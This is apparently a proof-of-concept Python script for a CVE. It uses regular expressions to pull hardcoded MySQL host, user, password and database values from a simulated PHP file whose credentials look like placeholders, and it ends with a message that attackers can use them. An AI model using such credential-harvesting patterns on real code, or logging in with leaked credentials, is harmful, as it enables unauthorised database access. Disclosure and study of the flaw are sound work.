CVE-2026-48242

# Proof of Concept for CVE-2026-48242 # This script demonstrates how to extract hardcoded credentials from the vulnerable file. import re # Simulating the content of the vulnerable import_mdb.php VULNERABLE_FILE_CONTENT = """ <?php $db_host = 'mysql.example.com'; $db_user = 'ises_admin'; $db_pass = 'S3cr3tP@ssw0rd!'; $db_name = 'ises_tickets_db'; // ... rest of the code ?> """ def extract_credentials(php_content): """Extracts hardcoded MySQL credentials from PHP source code.""" credentials = {} # Regex patterns to find common variable assignments patterns = { 'host': r'\$db_host\s*=\s*[\'"](.*?)[\'"]', 'username': r'\$db_user\s*=\s*[\'"](.*?)[\'"]', 'password': r'\$db_pass\s*=\s*[\'"](.*?)[\'"]', 'database': r'\$db_name\s*=\s*[\'"](.*?)[\'"]' } for key, pattern in patterns.items(): match = re.search(pattern, php_content) if match: credentials[key] = match.group(1) return credentials if __name__ == "__main__": print("[+] Analyzing import_mdb.php for hardcoded credentials...") creds = extract_credentials(VULNERABLE_FILE_CONTENT) if creds: print("[!] Hardcoded credentials found:") for k, v in creds.items(): print(f" {k}: {v}") print("\n[!] Attackers can now use these credentials to access the database directly.") else: print("[-] No credentials found.")

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